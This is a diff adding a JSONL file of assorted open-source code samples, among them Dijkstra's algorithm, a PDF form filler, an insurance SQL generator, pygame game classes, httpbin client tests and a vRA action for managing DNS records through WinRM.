diff --git "a/3751.jsonl" "b/3751.jsonl" new file mode 100644--- /dev/null +++ "b/3751.jsonl" @@ -0,0 +1,594 @@ +{"seq_id":"199916118","text":"# Uses a dict for the edge weight queue so (theta) O(n) for finding\n# minimum edge.\n\n\ndef shortest_path(start, end, graph):\n min_weight, shortest_path_set = dijkstra(start, end, graph)\n path = [end]\n while path[-1] != start:\n path.append(shortest_path_set[path[-1]])\n\n return min_weight, path[::-1]\n\n\ndef dijkstra(start, end, graph):\n shortest_path_tree = {}\n predecessors = {start: None}\n distances = {vertex: float('inf') for vertex in graph.keys()}\n distances[start] = 0\n while len(distances) != 0:\n vertex = min(distances, key=distances.get)\n shortest_path_tree[vertex] = predecessors[vertex]\n if vertex == end:\n distance = distances.pop(vertex)\n break\n for adj_vertex, edge_weight in graph[vertex]:\n if adj_vertex not in shortest_path_tree:\n # Relax edges.\n if distances[adj_vertex] > distances[vertex] + edge_weight:\n distances[adj_vertex] = distances[vertex] + edge_weight\n predecessors[adj_vertex] = vertex\n\n # We don't want to visit this vertex again now that we have\n # added to the SPT and explored it's neighbors.\n distances.pop(vertex)\n\n return distance, shortest_path_tree\n\n\nif __name__ == '__main__':\n graph = {'a': [('b', 100), ('c', 3), ('f', 16)],\n 'b': [('d', 2)],\n 'c': [('e', 4), ('d', 5)],\n 'd': [],\n 'e': [('f', 7)],\n 'f': []}\n\n min_weight, path = shortest_path('a', 'f', graph)\n assert(min_weight == 14)\n assert(path == ['a', 'c', 'e', 'f'])\n","sub_path":"algorithms/dijkstras.py","file_name":"dijkstras.py","file_ext":"py","file_size_in_byte":1625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"203572130","text":"#!/usr/bin/env python3\nimport os\nimport sys\nimport csv\nfrom fdfgen import forge_fdf\n\n\ndef fin_translation(fin_value):\n if fin_value == '1':\n return ('single', 'X')\n elif fin_value == '2':\n return ('twin', 'X')\n elif fin_value == '3':\n return ('thruster', 'X')\n elif fin_value == '4':\n return ('quad', 'X')\n elif fin_value == '5':\n return ('fivefin', 'X')\n else:\n return ('otherfin', 'X')\n\n\ndef tail_translation(tail_value):\n if tail_value == 'square':\n return ('square', 'X')\n elif tail_value == 'squash':\n return ('squash', 'X')\n elif tail_value == 'round':\n return ('round', 'X')\n elif tail_value == 'round pin':\n return ('round pin', 'X')\n elif tail_value == 'pin':\n return ('pin', 'X')\n elif tail_value == 'swallow':\n return ('swallow', 'X')\n elif tail_value == 'fish':\n return ('fish', 'X')\n else:\n return ('tail', tail_value)\n\n\ndef type_translation(type_value):\n if type_value == 'future':\n return ('future', 'X')\n elif type_value == 'fcs2':\n return ('fcstwo', 'X')\n elif type_value == 'fcsii':\n return ('fcstwo', 'X')\n elif type_value == 'glasson':\n return ('glasson', 'X')\n else:\n return ('othertype', 'X')\n\n\ndef generate_key_value_tuples(header, row):\n key_value_tuples = []\n for i in range(len(header)):\n value = row[i].strip()\n if header[i] == 'fins':\n fin_tuple = fin_translation(value)\n if fin_tuple[0] == 'otherfin':\n key_value_tuples.append(fin_tuple)\n key_value_tuples.append((header[i], value))\n else:\n key_value_tuples.append(fin_tuple)\n elif header[i] == 'tail':\n tail_tuple = tail_translation(value.lower())\n key_value_tuples.append(tail_tuple)\n elif header[i] == 'type':\n type_tuple = type_translation(value.lower())\n key_value_tuples.append(type_tuple)\n elif header[i] == 'or':\n if value:\n key_value_tuples.append(('or', 'X'))\n key_value_tuples.append(('ortext', value))\n else:\n key_value_tuples.append((header[i], value))\n return key_value_tuples\n\n\ndef process_csv(csv_data):\n header = []\n output_data = []\n for row_number, row in enumerate(csv_data):\n if row_number == 0:\n continue\n if row_number == 1:\n header = row\n header = [word.lower().strip() for word in header]\n continue\n key_value_tuples = generate_key_value_tuples(header, row)\n output_data.append(key_value_tuples)\n return output_data\n\n\ndef fill_pdf_template(row, pdf_template, output_file):\n tmp_file = \"tmp.fdf\"\n fdf = forge_fdf(\"\", row, [], [], [])\n with open(tmp_file, \"wb\") as fdf_file:\n fdf_file.write(fdf)\n cmd = \"pdftk '{0}' fill_form '{1}' output '{2}' dont_ask\".format(pdf_template, tmp_file, output_file)\n os.system(cmd)\n os.remove(tmp_file)\n\n\nif __name__ == \"__main__\":\n \"\"\"\n Batch fill pdf template with data from csv file\n \"\"\"\n try:\n pdf_template = sys.argv[1]\n csv_file = sys.argv[2]\n except IndexError:\n print(\"python3 solid_fill_pdf.py pdf_template csv_file \")\n else:\n with open(csv_file) as f:\n csv_data = csv.reader(f)\n\n data = process_csv(csv_data)\n output_dir = os.path.join(os.getcwd(), 'output')\n if not os.path.exists(output_dir):\n os.makedirs(output_dir)\n\n for row in data:\n orderid = row[3][1]\n output_path = os.path.join(output_dir, orderid)\n output_file = output_path + \".pdf\"\n fill_pdf_template(row, pdf_template, output_file)\n print(\"Generated {0}.pdf\".format(orderid))\n","sub_path":"solid_fill_pdf.py","file_name":"solid_fill_pdf.py","file_ext":"py","file_size_in_byte":3899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"147970046","text":"# encoding: utf-8\n# Author: LW\n\nfrom product_gen_new_conf import ENGAGE_SQL_TMPL,EPOLICY_TMPL,PLAN_CHK_TMPL,PRODUCT_TMPL,PRODUCT_RISK_TMPL,PLAN_TMPL,PLAN_DCODE_TMPL,CLAUSE_KIDN_TMPL,EPOLICY_KIND_ITEM_TMPL\nimport os\n\nCOMMON_ENGAGE = '''1.所有的保险责任及条款均以现代财产保险(中国)有限公司签发的正式保险合同之相应条款为准。\n2.本计划的承保年龄为1至85周岁,以保单生效时的周岁年龄为准。71至85周岁的被保险人,其涉及“意外身故、残疾保障”、“公共交通工具意外保障”、“急性病身故保障”、“自驾车意外身故、残疾“保险金额为上表所载金额的一半,保险费维持不变。\n3.按中国保监会规定,10周岁以下的未成年人累计身故保险金额不得超过人民币20万元;10至17周岁的未成年人累计身故保险金额不得超过人民币50万元。若未成年被保险人的保险金额超过上述规定,则以上述规定的保险金额为限。\n4.在同一保险期间,每位被保险人投保同一产品(包括同一产品的同一计划或不同计划)限投保一份,如果投保了多份同一计划,以最先投保之保单为有效,其余部分视为无效,保险费将无息退还;如果投保了多份不同计划,以意外伤害保额最高之保单为有效,其余部分视为无效,保险费将无息退还。\n5.若被保险人在任意渠道投保由本公司承保的多份“意外身故、残疾保险”、“疾病身故”、“急性病身故”、“猝死”、 “意外医疗费用”、“医疗费用(包含意外及突发急性病医疗费用)”、“意外每日住院津贴”、“每日住院津贴”,则本公司仅按其中保险金额最高者做出赔偿。\n6.如投保全年保障,每次旅行的最长承保时间为30天。\n7.外籍人士购买本产品只要符合投保规则即可,无其它特殊要求。\n8.本保险仅承保在中华人民共和国大陆地区境内(不含香港、澳门、台湾)地区。\n9.本产品指定医院为符合条款要求的医院,除了北京平谷区所有医院。请注意:北京市平谷区所有医院的就医均不给予理赔。\n10. 被保险人故意做出的危险性行为而导致的意外伤害事故,保险公司不承担保险责任,危险性行为包括但不限于:不听从导游、领队、教练或现场安全人员的要求及劝阻;违反景区或当地的警示/禁令标示;违规进入国家或当地政府明令禁止的线路或地区等。\n11.本产品可承保本市旅游,理赔时需提供相关证明,包括但不限于景点门票、过路费票据、公共交通票据等。'''\n\nLEN_LIMIT = 35\nBDDJ_YN = False\nCHANGE_ID = 'CR2018000095'\nGEN_DATE = '20-08-2018'\nAGENT_CODE = 'M00000000063'\nAGENT_AGREEN = 'M00000000063-01'\nRISK_CODE = '2712'\nRISK_NAME = '境内旅行意外伤害保险'\nPRODCUT_CODE = 'P272018SJKY0001'\nPRODCUT_NAME = '境内旅游意外险'\nPLAN_LIST = [\n [\n 'P272018SJKY000101',\n '计划一',\n 241200.00,\n [('2712C01', '001', '意外身故、伤残'), ('2712F01', '002', '猝死'), ('2712F08', '009', '意外伤害医疗(每次事故免赔额100元)'),\n ('2712F07', '008', '急性肠胃炎医疗补偿'), ('2712F22', '023', '意外伤害住院津贴(30天为限)'), ('2712F09', '010', '紧急医疗运送及送返'),\n ('2712F10', '011', '身故遗体运返(含丧葬费用)')]\n ,\n COMMON_ENGAGE\n ],\n [\n 'P272018SJKY000102',\n '计划二',\n 352000.00,\n [('2712C01', '001', '意外身故、伤残'), ('2712F01', '002', '猝死'), ('2712F08', '009', '意外伤害医疗(每次事故免赔额100元)'),\n ('2712F07', '008', '急性肠胃炎医疗补偿'), ('2712F22', '023', '意外伤害住院津贴(30天为限)'), ('2712F09', '010', '紧急医疗运送及送返'),\n ('2712F10', '011', '身故遗体运返(含丧葬费用)')]\n ,\n COMMON_ENGAGE\n ],\n [\n 'P272018SJKY000103',\n '计划三',\n 512100.00,\n [('2712C01', '001', '意外身故、伤残'), ('2712F01', '002', '猝死'), ('2712F08', '009', '意外伤害医疗(每次事故免赔额100元)'),\n ('2712F07', '008', '急性肠胃炎医疗补偿'), ('2712F22', '023', '意外伤害住院津贴(30天为限)'), ('2712F09', '010', '紧急医疗运送及送返'),\n ('2712F10', '011', '身故遗体运返(含丧葬费用)')]\n ,\n COMMON_ENGAGE\n ]\n]\n\nif not os.path.exists('./sql_script_ch' + os.sep + CHANGE_ID):\n os.mkdir('./sql_script_ch' + os.sep + CHANGE_ID)\n\n\nseq_no = 1;\n\nout_file = open('./sql_script_ch' + os.sep + CHANGE_ID + os.sep + RISK_CODE + \"_\" + PRODCUT_CODE + \"_\" + PRODCUT_NAME + '_PRODUCT.sql', 'wt',\n encoding='utf-8')\nout_file.write(\"SET DEFINE OFF;\\n\")\nout_file.write(\"/****\\n\")\n\nout_file.write(\"\"\"\nGEN_DATE = '{0}'\nAGENT_CODE = '{1}'\nAGENT_AGREEN = '{2}'\nRISK_CODE = '{3}'\nRISK_NAME = '{4}'\nPRODCUT_CODE = '{5}'\nPRODCUT_NAME = '{6}'\nPLAN_LIST = {7}\n\"\"\".format(GEN_DATE, AGENT_CODE, AGENT_AGREEN, RISK_CODE, RISK_NAME, PRODCUT_CODE, PRODCUT_NAME, PLAN_LIST))\n\nout_file.write(\"*/\\n\")\nout_file.write(\"-- 产品信息\\n\")\nprocduct_sql = PRODUCT_TMPL.format(PRODCUT_CODE, PRODCUT_NAME, AGENT_CODE, GEN_DATE)\nprocduct_sql += PRODUCT_RISK_TMPL.format(PRODCUT_CODE, RISK_CODE, RISK_NAME, GEN_DATE)\n\nout_file.write(procduct_sql)\n\nout_file.write(\"\\n\\n\")\n\nout_file.write(\"-- 方案信息 \\n\")\n\nfor plan in PLAN_LIST:\n out_file.write(\"\\n-- 方案信息 - \" + plan[1] + \"\\n\")\n plan_sql =PLAN_TMPL.format(PRODCUT_CODE, plan[0], plan[1], plan[2], GEN_DATE)\n plan_sql += PLAN_DCODE_TMPL.format(plan[0], plan[1], AGENT_AGREEN)\n out_file.write(plan_sql)\n\n out_file.write(\"\\n-- 方案信息 - 保障责任关联\\n\")\n for x in plan[3]:\n clause_kind_sql = CLAUSE_KIDN_TMPL.format(RISK_CODE, plan[0], x[0], x[1])\n out_file.write(clause_kind_sql)\n out_file.write(\"\\n-- 电子保单保险责任显示\\n\")\n for x in plan[3]:\n epolicy_kind_item_sql = EPOLICY_KIND_ITEM_TMPL.format(plan[0], x[0], x[1], x[2])\n out_file.write(epolicy_kind_item_sql)\n\n out_file.write(\"\\n\\n\")\n\n out_file.write(\"-- 方案信息 - 特别约定\\n\")\n out_file.write(\"/*\\n\" + plan[4] + \"\\n*/\\n\\n\\n\")\n out_file.write(\"DELETE FROM PRPDENGAGE WHERE CLAUSECODE = 'T0\" + plan[0] + \"';\\n\")\n out_file.write(\n \"INSERT INTO PRPDENGAGE (RISKCODE,SERIALNO,CLAUSECODE,CONTEXT,TITLEFLAG,FLAG) VALUES ('\" + RISK_CODE + \"',1,'T0\" + plan[0] + \"','特别约定:\\n',0,0);\\n\")\n chk_out_file = open('./sql_script_ch' + os.sep + CHANGE_ID + os.sep + RISK_CODE + \"_\" + plan[0] + \"_\" + plan[1] + '_INFCHK.sql', 'wt',\n encoding='utf-8')\n\n chk_out_file.write(PLAN_CHK_TMPL.format(plan[0], AGENT_CODE, RISK_CODE))\n\n chk_out_file.close()\n\n deal_txt = plan[4]\n seq_no = 2\n while True:\n tmp = deal_txt[0:LEN_LIMIT]\n out_file.write(\n ENGAGE_SQL_TMPL.format(RISK_CODE, seq_no, plan[0], tmp, 1 if seq_no == 1 else 1,\n 1 if seq_no == 1 else 1) + \"\\n\")\n deal_txt = deal_txt[LEN_LIMIT:]\n if len(deal_txt) == 0:\n break\n seq_no += 1\n out_file.write(\"\\n\\n\")\n\n \"\"\"\n eploicy_out_file = open('./sql_script_ch' + os.sep + CHANGE_ID + os.sep + RISK_CODE + \"_\" + plan[0] + \"_\" + plan[1] + '_EPOLICY.sql',\n 'wt',\n encoding='utf-8')\n\n eploicy_out_file.write(EPOLICY_TMPL.format(plan[0], RISK_NAME))\n eploicy_out_file.close()\n \"\"\"\n\nout_file.close()\n\n\n","sub_path":"work/interface_conf/product_gen_new.py","file_name":"product_gen_new.py","file_ext":"py","file_size_in_byte":7658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"164553160","text":"import datetime\nimport numpy as np\nimport pandas as pd\n\nnumRows = 25\ndf1 = pd.DataFrame(np.random.rand(numRows, 3), columns=list('ABC'))\ndf2 = df1.copy()\n\ndf1.head()\n\nnumDiscrepancies = 4\nfor row in range(numDiscrepancies):\n df1.iloc[len(df1.index)-row-1, 1] = np.random.rand(1)\n \nremoveNrows = 3\ndrop_indices = np.random.choice(df2.index, removeNrows, replace=False)\ndf2 = df2.drop(drop_indices)\n\nnumDuplications = 3\ndef duplicateSomeRows(df, numrows):\n for row in range(numrows):\n df = df.append(df.iloc[row])\n df.index = range(len(df.index))\n return df\n\ndf1 = duplicateSomeRows(df1, numDuplications)\ndf2 = duplicateSomeRows(df2, numDuplications-2)\n\ndf1['gr'] = df1.groupby(['A','B', 'C'])['A'].transform('count')\ndf1.head()\n\n\ndf2['gr'] = df2.groupby(['A','B', 'C'])['A'].transform('count')\ndf2.head()","sub_path":"IFPI-Reconn/dupCheck.py","file_name":"dupCheck.py","file_ext":"py","file_size_in_byte":825,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"573859044","text":"# Dr. Aleks Ontman\n#\n# Valuation of European Call Option\n# in Black-Scholes-Merton Model\n# A_pyt/b_BSM_valuation.py\n#\nfrom scipy import stats\nimport math\n\n# Analytical Formula\n\ndef BSM_call_value(S0, K, T, r, vola):\n ''' Analytical European call option value for Black-Scholes-Merton (1973).\n\n Parameters\n ==========\n S0: float\n initial index level\n K: float\n strike price\n T: float\n time-to-maturity\n r: float\n constant short rate\n vola: float\n constant volatility factor\n\n Returns\n =======\n call_value\n\n '''\n S0 = float(S0) # make sure to have float type\n d1 = (math.log(S0 / K) + (r + 0.5 * vola ** 2) * T) / (vola * math.sqrt(T))\n d2 = d1 - vola * math.sqrt(T)\n call_value = (S0 * stats.norm.cdf(d1, 0.0, 1.0) -\n K * math.exp(-r * T) * stats.norm.cdf(d2, 0.0, 1.0))\n return call_value\n\n\n","sub_path":"BSM_options.py","file_name":"BSM_options.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"128070102","text":"from globals import *\nimport os\n\nclass HUD():\n def __init__(self, game):\n self.game = game\n self.path = os.path.join('rec', 'gui')\n self.path2 = os.path.join(self.game.main_path, self.path)\n \n self.xpbar = pygame.image.load(os.path.join(self.path2, 'xpbar.png')).convert_alpha()\n self.hpbar = pygame.image.load(os.path.join(self.path2, 'hpbar.png')).convert_alpha()\n\n def blitHUD(self):\n #hp bar creation\n blit_surface = pygame.Surface((392 * (float(self.game.Player.player_stats['hp']) / self.game.Player.player_stats['maxhp']), 24), pygame.SRCALPHA)\n blit_surface.fill((234, 0, 0, 213))\n self.game.screen.blit(blit_surface, (254, 589))\n\n #xp bars\n blit_surface = pygame.Surface((497 * (float(self.game.Player.player_stats['mxp']) / self.game.Player.player_stats['maxmxp']), 12), pygame.SRCALPHA)\n blit_surface.fill((72, 196, 19, 221))\n self.game.screen.blit(blit_surface, (201, 636))\n blit_surface = pygame.Surface((497 * (float(self.game.Player.player_stats['pxp']) / self.game.Player.player_stats['maxpxp']), 12), pygame.SRCALPHA)\n blit_surface.fill((229, 102, 18, 221))\n self.game.screen.blit(blit_surface, (201, 622))\n\n self.game.screen.blit(self.xpbar, [200, 636])\n self.game.screen.blit(self.xpbar, [200, 622])\n self.game.screen.blit(self.hpbar, [250, 585])\n","sub_path":"class/HUD.py","file_name":"HUD.py","file_ext":"py","file_size_in_byte":1412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"35773694","text":"# Guessing game\r\nimport random\r\n\r\n\r\ndef high_low(x):\r\n welcome_message = \"Welcome to my guessing game,\\nin this game you will have to guess the number im thinking! \\n\\\r\nIf you are to high or to low the computer will let you know\\n\\n\"\r\n thinking = \"I'm thinking of a number between 1 and 100 can you guess what it is? \"\r\n print(welcome_message)\r\n personal_money = 100\r\n question = input(\"Want to make a bet on how many tries\\nwithout going over? \").lower()\r\n# yes and no don't work right now but need to be addressed next.\r\n if (question[0] == \"y\") or \"Y\":\r\n number_guess = int(input(\"How many guesses? \"))\r\n wager = int(input(\"How much do you want to bet? €\"))\r\n while wager > personal_money:\r\n if wager > personal_money:\r\n wager = int(input(\"You don't have enough funds, please enter a lower number: \"))\r\n\r\n else:\r\n personal_money - wager\r\n\r\n else:\r\n wager = 0\r\n print(thinking)\r\n thinking = random.randint(1, x)\r\n guess = 0\r\n i = 0\r\n while guess != thinking:\r\n guess = int(input(\"Guess a number: \"))\r\n if guess > thinking:\r\n print(\"Lower \")\r\n i += 1\r\n elif guess < thinking:\r\n print(\"Higher\")\r\n i += 1\r\n i += 1\r\n if number_guess >= i:\r\n winnings = wager * 2\r\n # str(personal_money + wager)\r\n total = personal_money + wager\r\n print(f\"Well Done you found the number!!!\\nIt only took you {i} tries\\n\")\r\n print(f\"You won you bet €{wager} and won €{winnings} added to your total which is €{total}\")\r\n\r\n else:\r\n print(f\"Well Done you found the number!!!\\nIt only took you {i} tries\\n\")\r\n print(f\"Unfortunately your bet was of and you have lost €{wager}\")\r\n\r\n\r\nhigh_low(100)\r\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1812,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"637433995","text":"import pygame\nfrom pygame.sprite import Sprite\n\n\nclass Bullet(Sprite):\n\n def __init__(self,ai_settings,screen,ship):\n super(Bullet, self).__init__()\n\n self.screen = screen\n\n # 创建子弹,并放到正确的位置\n self.rect = pygame.Rect(0,0,ai_settings.bullet_width,ai_settings.bullet_height)\n self.rect.centerx = ship.rect.centerx\n self.rect.top = ship.rect.top # 子弹从飞船顶部射出\n\n # 存储用小数表示的子弹位置\n self.y = float(self.rect.y)\n\n self.color = ai_settings.bullet_color\n self.spead_factor = ai_settings.bullet_spead_factor\n\n def update(self):\n # 子弹向上移动\n self.y -= self.spead_factor\n self.rect.y = self.y\n\n def draw_bullet(self):\n # 在屏幕上绘制子弹\n pygame.draw.rect(self.screen,self.color,self.rect)\n","sub_path":"bullet.py","file_name":"bullet.py","file_ext":"py","file_size_in_byte":873,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"319624182","text":"import numpy as np\nimport plotly.graph_objects as go\nimport statistics\nfrom zadanie1_3 import NeuralNetwork\n\n# loading data for 3\ntrain_data = np.empty((0,4), float)\n# Reading training data from file\nwith open('transformation.txt', \"r\") as inFile:\n for x in range(4):\n data = inFile.readline()\n data = data.split()\n train_data = np.append(train_data, np.array([data], dtype=float), axis=0)\n\n#first for 3\nnp.random.seed(1)\nNN_3_1 = NeuralNetwork(train_data, train_data, 1, 0.1, 0, False)\nNN_3_2 = NeuralNetwork(train_data, train_data, 2, 0.1, 0, False)\nNN_3_3 = NeuralNetwork(train_data, train_data, 3, 0.1, 0, False)\nNN_3_1b = NeuralNetwork(train_data, train_data, 1, 0.1, 0, True)\nNN_3_2b = NeuralNetwork(train_data, train_data, 2, 0.1, 0, True)\nNN_3_3b = NeuralNetwork(train_data, train_data, 3, 0.1, 0, True)\nNN_3_1_error_data = []\nNN_3_2_error_data = []\nNN_3_3_error_data = []\nNN_3_1b_error_data = []\nNN_3_2b_error_data = []\nNN_3_3b_error_data = []\nindex = []\n\nfor i in range(10000):\n NN_3_1_error_data.append(float(NN_3_1.error()))\n NN_3_1.train()\n\n NN_3_2_error_data.append(float(NN_3_2.error()))\n NN_3_2.train()\n\n NN_3_3_error_data.append(float(NN_3_3.error()))\n NN_3_3.train()\n\n NN_3_1b_error_data.append(float(NN_3_1b.error()))\n NN_3_1b.train()\n\n NN_3_2b_error_data.append(float(NN_3_2b.error()))\n NN_3_2b.train()\n\n NN_3_3b_error_data.append(float(NN_3_3b.error()))\n NN_3_3b.train()\n\n index.append(i)\n\n#graphs\nerr = go.Figure()\nerr.add_trace(go.Scatter(x=index, y=NN_3_1_error_data,\n line=dict(color='red'),\n name='1 neuron'))\nerr.add_trace(go.Scatter(x=index, y=NN_3_2_error_data,\n line=dict(color='green'),\n name='2 neurons'))\nerr.add_trace(go.Scatter(x=index, y=NN_3_3_error_data,\n line=dict(color='blue'),\n name='3 neurons'))\nerr.update_layout(\n title=\"Error at iterations without bias\",\n xaxis_title=\"Iteration\",\n yaxis_title=\"Error\",\n )\nerr.show()\n\nerr_b = go.Figure()\nerr_b.add_trace(go.Scatter(x=index, y=NN_3_1b_error_data,\n line=dict(color='red'),\n name='1 neuron'))\nerr_b.add_trace(go.Scatter(x=index, y=NN_3_2b_error_data,\n line=dict(color='green'),\n name='2 neurons'))\nerr_b.add_trace(go.Scatter(x=index, y=NN_3_3b_error_data,\n line=dict(color='blue'),\n name='3 neurons'))\nerr_b.update_layout(\n title=\"Error at iterations with bias\",\n xaxis_title=\"Iteration\",\n yaxis_title=\"Error\",\n )\nerr_b.show()\n\n#second for 3\n# NN_step_data = [3,3,2,1,0.1,1.5,2,4,0.3,2.5]\n# NN_mom_data = [0,0.1,0.2,0.3,0.1,0,0.75,0.1,0.4,0.6]\n# np.random.seed()\n# outFile = open('avarage_learning.txt', 'a+')\n# for i in range(10):\n# NN_3_curr_iter_data = []\n# step = NN_step_data.pop()\n# momentum = NN_mom_data.pop()\n# NN_3 = NeuralNetwork(train_data, train_data, 2, step, momentum, True)\n# for j in range(100):\n# iterations = 0\n# while NN_3.error() > 0.01:\n# NN_3.train()\n# iterations += 1\n# NN_3_curr_iter_data.append(iterations)\n# NN_3.reset(2)\n# print(round(np.mean(NN_3_curr_iter_data)))\n# print(round(statistics.pstdev(NN_3_curr_iter_data)))\n# outFile.write(str(step) + ' ' + str(momentum) + ' ' + str(round(np.mean(NN_3_curr_iter_data))) + ' ' + str(round(statistics.pstdev(NN_3_curr_iter_data))) + '\\n')\n# outFile.close()\n\n# third for 3\n# np.random.seed(1)\n# NN_3_2 = NeuralNetwork(train_data, train_data, 2, 2, 0, False)\n# NN_3_2b = NeuralNetwork(train_data, train_data, 2, 2, 0, True)\n#\n# for i in range(1000000):\n# NN_3_2.train()\n#\n# NN_3_2b.train()\n#\n# outFile2 = open('hidden_layer.txt', 'a+')\n# outFile2.write(str(NN_3_2.layer1) + '\\n')\n# outFile2.write(str(NN_3_2b.layer1) + '\\n')\n# outFile2.close()","sub_path":"Zadanie1/Krystian/zadanie1_na3.py","file_name":"zadanie1_na3.py","file_ext":"py","file_size_in_byte":3919,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"363814418","text":"# encoding: utf-8\nimport requests\n\nfrom api.httpbin.schema import HttpBinPOST, HttpBinStatusGet\nfrom core.client import HttpClient\nfrom core.environment import TEST_ENV\n\n\nclass HttpBinGet(HttpClient):\n req_url = \"/get\"\n domain = \"domain\"\n headers = {\n \"accept\": \"application/json\",\n \"content\": \"application/json\"\n }\n req_body = {} ## make sure the some variables with default values\n query_params = []\n method = \"GET\"\n\n\nclass TestHttpClient():\n def test_invoker(self):\n params = {\"query1\": \"v2\"}\n client = HttpBinGet(params=params, env=TEST_ENV)\n response = client.invoke()\n print(response)\n\n def test_http_post(self):\n params = {\"query1\": \"v2\"}\n client = HttpBinPOST(params=params, env=TEST_ENV)\n response = client()\n print(response.code)\n print(response.data)\n\n def test_http_post(self):\n params = {\"codes\": \"200\"}\n client = HttpBinStatusGet(params=params, env=TEST_ENV)\n response = client()\n print(response.code)\n print(response.data)\n\n def test_http_bin(self):\n params = {}\n response = requests.post(\"http://httpbin.org/post\",\n json=params, headers={\"content-type\": \"application/json\"})\n print(response)\n\n def test_request_url(self):\n req_url = \"/status/{codes}\"\n params = {\"codes\": \"200\"}\n print(req_url.format(**params))\n\n","sub_path":"core/tests/test_httpclient.py","file_name":"test_httpclient.py","file_ext":"py","file_size_in_byte":1451,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"65876803","text":"# coding=utf-8\nfrom .base_activity import BaseActivity\nfrom controller.nao_conn.conn import NaoConn\n\n\nclass SpeakActivity(BaseActivity):\n \"\"\"\n 说话\n \"\"\"\n tts = None\n\n def __init__(self):\n BaseActivity.__init__(self)\n self.tts = NaoConn.get_instance(\"ALTextToSpeech\").al_proxy\n self.tts.setLanguage(\"Chinese\")\n\n def get_event_key(self):\n return \"speak\"\n\n def handle(self, data=None):\n if data is None:\n data = {}\n if \"words\" in data:\n words = data['words'].encode(\"utf-8\")\n self.tts.say(words)\n","sub_path":"controller/activites/speak_activity.py","file_name":"speak_activity.py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"424476331","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jul 15 11:32:54 2015\n\n@author: erhe01\n\"\"\"\n\nKDTREE_WRAPPER_NODE = \"kdtree\"\nLEAF_NODE = \"leaf\"\nINNER_NODE = \"inner\"\nROOT_NODE = \"root\"\n\nfrom cluster_tree import ClusterTree","sub_path":"python_src/morphablegraphs/space_partitioning/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":213,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"343255235","text":"# ABX Action for lifecycle of DNS records in vRA deployments\r\n# Created by Dennis Gerolymatos and Guillermo Martinez\r\n# Version 1.0 - 24.10.2021\r\n\r\nimport winrm, sys\r\n\r\ndef handler(context, inputs):\r\n\r\n event = str(inputs[\"__metadata\"][\"eventTopicId\"]) # Gets the deployment Event Topic \r\n ip_raw = inputs[\"addresses\"] # Raw IP input created vy vRA IPAM\r\n ipaddress = str(ip_raw[0])[2:-2] # Cleaned up IP\r\n hostname_raw = inputs[\"resourceNames\"] # Raw Hostname from deployment\r\n hostname = str(hostname_raw)[2:-2] # Cleaned up Hostname\r\n cnameRecord = inputs[\"customProperties\"][\"cnameRecord\"] # Gets CNAME value from customproperties\r\n DNS_Server1 = context.getSecret(inputs[\"dns_server1\"]) # DNS server where the command will be executed\r\n DNS_Server2 = context.getSecret(inputs[\"dns_server2\"]) # DNS server where the command will be executed (secondary)\r\n DNS_Domain = context.getSecret(inputs[\"domain_name\"]) # DNS Domain to be updated\r\n Username = context.getSecret(inputs[\"domain_username\"]) # Username with righs to perform the operation\r\n Password = context.getSecret(inputs[\"domain_password\"]) # Password for the account\r\n\r\n #Open session to DNS Server, try DNS 1 first and failback to DNS 2 if DNS 1 connection is not succesful\r\n try:\r\n session = winrm.Session('https://'+DNS_Server1+':5986/wsman', auth=(Username,Password), transport='credssp', server_cert_validation='ignore')\r\n result = session.run_ps(\"hostname\")\r\n print(\"Connected to server \"+result.std_out.decode()) \r\n except:\r\n try:\r\n session = winrm.Session('https://'+DNS_Server2+':5986/wsman', auth=(Username,Password), transport='credssp', server_cert_validation='ignore')\r\n result = session.run_ps(\"hostname\")\r\n print(\"Connected to server \"+result.std_out.decode()) \r\n except:\r\n print(\"Connections to server \"+DNS_Server1+\" or \"+DNS_Server2+\" failed. Aborting script...\")\r\n sys.exit(0)\r\n \r\n #Check for provision event topic\r\n result = event.startswith('compute.provision')\r\n if result == True :\r\n print(\"Creating A record and PTR for \"+hostname+\" \"+ipaddress)\r\n dns_command = \"Add-DnsServerResourceRecordA -ZoneName \"+DNS_Domain+\" -Name \"+hostname+\" -IPv4Address \"+ipaddress+\" -CreatePtr\"\r\n result = session.run_ps(dns_command)\r\n print(result.std_out.decode())\r\n \r\n #creates CNAME if requested in the deployment\r\n if (cnameRecord) :\r\n print(\"Creating CNAME record \"+cnameRecord+\" pointing to \"+hostname+\".\"+DNS_Domain)\r\n dns_command = \"Add-DnsServerResourceRecordCname -ZoneName \"+DNS_Domain+\" -HostNameAlias \"+hostname+\".\"+DNS_Domain+\" -Name \"+cnameRecord\r\n result = session.run_ps(dns_command)\r\n print(result.std_out.decode())\r\n\r\n #Check for removal event topic\r\n result = event.startswith('compute.removal')\r\n if result == True :\r\n print(\"Deleting A record and PTR for \"+hostname+\" \"+ipaddress)\r\n #Remove A record\r\n dns_command = \"Remove-DnsServerResourceRecord -ZoneName \"+DNS_Domain+\" -Name \"+hostname+\" -RRType A -force\"\r\n result = session.run_ps(dns_command)\r\n print(result.std_out.decode())\r\n \r\n #search for PTR record in order to get the zone name.\r\n dns_command = \"get-dnsserverzone | where 